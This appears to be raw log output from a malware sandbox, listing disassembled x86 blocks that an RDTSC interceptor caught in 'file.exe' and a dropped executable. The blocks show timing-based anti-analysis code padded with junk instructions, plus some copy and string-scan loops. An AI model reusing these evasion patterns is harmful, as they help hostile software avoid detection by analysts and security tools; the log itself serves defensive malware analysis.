Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8119BC second address: 811A06 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F3994CD1DC2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F3994CD1DC2h 0x00000010 popad 0x00000011 pushad 0x00000012 jns 00007F3994CD1DBCh 0x00000018 push ebx 0x00000019 je 00007F3994CD1DB6h 0x0000001f pop ebx 0x00000020 ja 00007F3994CD1DBEh 0x00000026 push esi 0x00000027 pop esi 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811A06 second address: 811A0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811C8A second address: 811CC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jns 00007F3994CD1DB6h 0x0000000c popad 0x0000000d push edx 0x0000000e jmp 00007F3994CD1DC2h 0x00000013 jmp 00007F3994CD1DC6h 0x00000018 pop edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811CC5 second address: 811CDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3994C2A2E5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811CDE second address: 811CE8 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3994CD1DB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811CE8 second address: 811D08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3994C2A2E4h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811D08 second address: 811D0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811D0C second address: 811D12 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811D12 second address: 811D3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F3994CD1DC3h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3994CD1DBEh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811D3B second address: 811D45 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3994C2A2D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811EB1 second address: 811EB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811EB9 second address: 811EC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814B74 second address: 814B78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814BC9 second address: 814BCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814E2F second address: 814E79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3994CD1DBAh 0x00000009 popad 0x0000000a push ebx 0x0000000b push eax 0x0000000c pop eax 0x0000000d pop ebx 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 call 00007F3994CD1DC2h 0x00000017 stc 0x00000018 pop edx 0x00000019 push 00000004h 0x0000001b mov dword ptr [ebp+122D2933h], ebx 0x00000021 call 00007F3994CD1DB9h 0x00000026 push eax 0x00000027 push edx 0x00000028 je 00007F3994CD1DBCh 0x0000002e js 00007F3994CD1DB6h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814E79 second address: 814E80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814E80 second address: 814EBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F3994CD1DBEh 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jc 00007F3994CD1DC9h 0x00000017 mov eax, dword ptr [eax] 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814EBA second address: 814EE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994C2A2DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jmp 00007F3994C2A2DBh 0x0000000f pop edi 0x00000010 popad 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815121 second address: 815125 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815125 second address: 815132 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8162EF second address: 816303 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994CD1DC0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 817F34 second address: 817F3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF02A7 second address: 4FF02C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994CD1DC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF02C3 second address: 4FF02C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF02C9 second address: 4FF02F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994CD1DBDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F3994CD1DC8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF02F9 second address: 4FF0308 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994C2A2DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0308 second address: 4FF036B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994CD1DC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F3994CD1DBEh 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push edi 0x00000015 pop ecx 0x00000016 pushfd 0x00000017 jmp 00007F3994CD1DC9h 0x0000001c and ah, 00000066h 0x0000001f jmp 00007F3994CD1DC1h 0x00000024 popfd 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF036B second address: 4FF037B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3994C2A2DCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF037B second address: 4FF037F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF039A second address: 4FF03A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov si, 149Bh 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF03A3 second address: 4FF040D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 mov bx, si 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e mov esi, 03BC1467h 0x00000013 mov al, 90h 0x00000015 popad 0x00000016 push eax 0x00000017 jmp 00007F3994CD1DC6h 0x0000001c xchg eax, ebp 0x0000001d pushad 0x0000001e mov bx, cx 0x00000021 mov eax, 2318C499h 0x00000026 popad 0x00000027 mov ebp, esp 0x00000029 pushad 0x0000002a push ecx 0x0000002b pushfd 0x0000002c jmp 00007F3994CD1DC1h 0x00000031 and si, 82E6h 0x00000036 jmp 00007F3994CD1DC1h 0x0000003b popfd 0x0000003c pop eax 0x0000003d push eax 0x0000003e push edx 0x0000003f push ebx 0x00000040 pop ecx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF040D second address: 4FF0474 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F3994C2A2E3h 0x00000008 xor esi, 0FDFBE1Eh 0x0000000e jmp 00007F3994C2A2E9h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 pop ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b movsx edx, ax 0x0000001e pushfd 0x0000001f jmp 00007F3994C2A2E4h 0x00000024 adc ax, 9348h 0x00000029 jmp 00007F3994C2A2DBh 0x0000002e popfd 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 730EA1 second address: 730EAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F3994CD1DB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 730EAB second address: 730EBD instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3994C2A2D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 730EBD second address: 730EC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 730EC4 second address: 730EC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF04D2 second address: 4FF04E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3994CD1DC0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF04E6 second address: 4FF04EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF04EA second address: 4FF0512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c call 00007F3994CD1DBDh 0x00000011 mov ebx, ecx 0x00000013 pop eax 0x00000014 movsx ebx, si 0x00000017 popad 0x00000018 mov ebp, esp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0512 second address: 4FF0518 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0518 second address: 4FF051E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF051E second address: 4FF0522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0522 second address: 4FF0536 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push edx 0x0000000d pop esi 0x0000000e mov edx, 5E238DCAh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0536 second address: 4FF053C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF053C second address: 4FF0540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0599 second address: 4FF05C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994C2A2DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e mov si, di 0x00000011 mov di, 23DEh 0x00000015 popad 0x00000016 mov eax, dword ptr [eax] 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F3994C2A2DBh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF05C6 second address: 4FF05CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF05CC second address: 4FF05D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF05D0 second address: 4FF05D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0639 second address: 4FF0673 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop edx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [ebp+0Ch] 0x0000000b jmp 00007F3994C2A2E4h 0x00000010 mov esi, edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F3994C2A2E7h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0673 second address: 4FF0679 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0679 second address: 4FF067D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF067D second address: 4FF06A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994CD1DBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov al, byte ptr [edx] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F3994CD1DC5h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF06A7 second address: 4FF06F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994C2A2E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc edx 0x0000000a jmp 00007F3994C2A2DEh 0x0000000f test al, al 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 call 00007F3994C2A2DDh 0x00000019 pop esi 0x0000001a call 00007F3994C2A2E1h 0x0000001f pop esi 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF06F1 second address: 4FF06A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994CD1DBEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F3994CD1D3Bh 0x0000000f mov al, byte ptr [edx] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F3994CD1DC5h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF073E second address: 4FF0744 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0744 second address: 4FF0757 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 dec edi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov dx, si 0x0000000f movzx esi, bx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0757 second address: 4FF075D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF075D second address: 4FF0761 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0761 second address: 4FF0776 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea ebx, dword ptr [edi+01h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov bx, D4DCh 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0776 second address: 4FF0798 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994CD1DC0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov al, byte ptr [edi+01h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov bl, A4h 0x00000011 mov esi, 6E3A2EC5h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0798 second address: 4FF07C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994C2A2DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc edi 0x0000000a jmp 00007F3994C2A2E6h 0x0000000f test al, al 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF07C6 second address: 4FF07CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF07CC second address: 4FF0802 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994C2A2E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F3A05552571h 0x0000000f jmp 00007F3994C2A2E0h 0x00000014 mov ecx, edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0802 second address: 4FF0806 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0806 second address: 4FF080C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF080C second address: 4FF0841 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994CD1DC4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 shr ecx, 02h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 call 00007F3994CD1DC3h 0x00000016 pop esi 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0841 second address: 4FF08A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994C2A2E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rep movsd 0x0000000b rep movsd 0x0000000d rep movsd 0x0000000f rep movsd 0x00000011 rep movsd 0x00000013 jmp 00007F3994C2A2E0h 0x00000018 mov ecx, edx 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F3994C2A2DEh 0x00000021 add ecx, 67926368h 0x00000027 jmp 00007F3994C2A2DBh 0x0000002c popfd 0x0000002d mov dx, ax 0x00000030 popad 0x00000031 and ecx, 03h 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F3994C2A2DCh 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF08A8 second address: 4FF08AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF08AC second address: 4FF08B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF08B2 second address: 4FF0920 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rep movsb 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F3994CD1DC2h 0x00000013 add ecx, 7B8DB828h 0x00000019 jmp 00007F3994CD1DBBh 0x0000001e popfd 0x0000001f pushfd 0x00000020 jmp 00007F3994CD1DC8h 0x00000025 or ax, 6A88h 0x0000002a jmp 00007F3994CD1DBBh 0x0000002f popfd 0x00000030 popad 0x00000031 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b pushad 0x0000003c popad 0x0000003d mov di, 4564h 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0920 second address: 4FF0926 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0926 second address: 4FF0979 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, ebx 0x0000000a jmp 00007F3994CD1DC0h 0x0000000f mov ecx, dword ptr [ebp-10h] 0x00000012 jmp 00007F3994CD1DC0h 0x00000017 mov dword ptr fs:[00000000h], ecx 0x0000001e jmp 00007F3994CD1DC0h 0x00000023 pop ecx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F3994CD1DBAh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0979 second address: 4FF097F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0AAF second address: 4FF0AB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0AB5 second address: 4FF0AB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0AB9 second address: 4FF0AFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994CD1DBDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F3994CD1DBEh 0x00000011 push eax 0x00000012 pushad 0x00000013 mov edx, 0786A9E4h 0x00000018 mov bx, 8050h 0x0000001c popad 0x0000001d xchg eax, ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F3994CD1DC2h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0AFC second address: 4FF0B03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, dh 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 1016844 second address: 1016866 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3994CD1DC6h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 1016866 second address: 1016870 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3994C2A2D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 1016870 second address: 1016876 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 1016876 second address: 101687A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 101687A second address: 101687E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
